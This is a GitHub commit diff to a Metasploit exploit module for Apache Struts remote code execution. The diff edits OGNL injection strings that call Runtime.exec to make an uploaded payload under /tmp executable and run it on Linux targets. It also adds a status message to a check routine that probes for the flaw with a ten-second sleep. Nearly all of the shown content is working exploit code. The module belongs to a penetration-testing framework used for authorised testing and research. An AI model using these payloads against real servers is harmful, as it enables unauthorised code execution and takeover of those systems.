Skip to content

Commit 4edf526

Browse files
committed
check function now tells user about delay
1 parent a714b43 commit 4edf526

File tree

1 file changed

+5
-3
lines changed

1 file changed

+5
-3
lines changed

modules/exploits/multi/http/struts_code_exec_parameters.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -96,14 +96,15 @@ def exploit
9696
pl_exe = generate_payload_exe
9797
chunk_length = 384
9898
append = 'false'
99-
99+
# java_cmd = "@java.lang.Runtime@getRuntime().exec(%s)"
100100
#Now arch specific...
101101
case target['Platform']
102102
when 'linux'
103103
chunk_length = 128 #Complains of a long filename if left default.
104104
@payload_exe = "/tmp/#{@payload_exe}"
105-
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh@-c@chmod +x #{@payload_exe}\".split(\"@\"))"
106-
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh@-c@#{@payload_exe}\".split(\"@\"))"
105+
# chmod_cmd = java_cmd % '\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\")'
106+
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
107+
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
107108
when 'java'
108109
@payload_exe << ".jar"
109110
pl_exe = payload.encoded_jar.pack
@@ -147,6 +148,7 @@ def java_upload_part(part, filename, append = 'false')
147148
def check
148149
check_cmd = "@java.lang.Thread@sleep(10000)"
149150
t1 = Time.now
151+
print_status("Asking remote server to sleep for 10 seconds")
150152
response = execute_command(check_cmd)
151153
t2 = Time.now
152154
delta = t2 - t1

0 commit comments

Comments
 (0)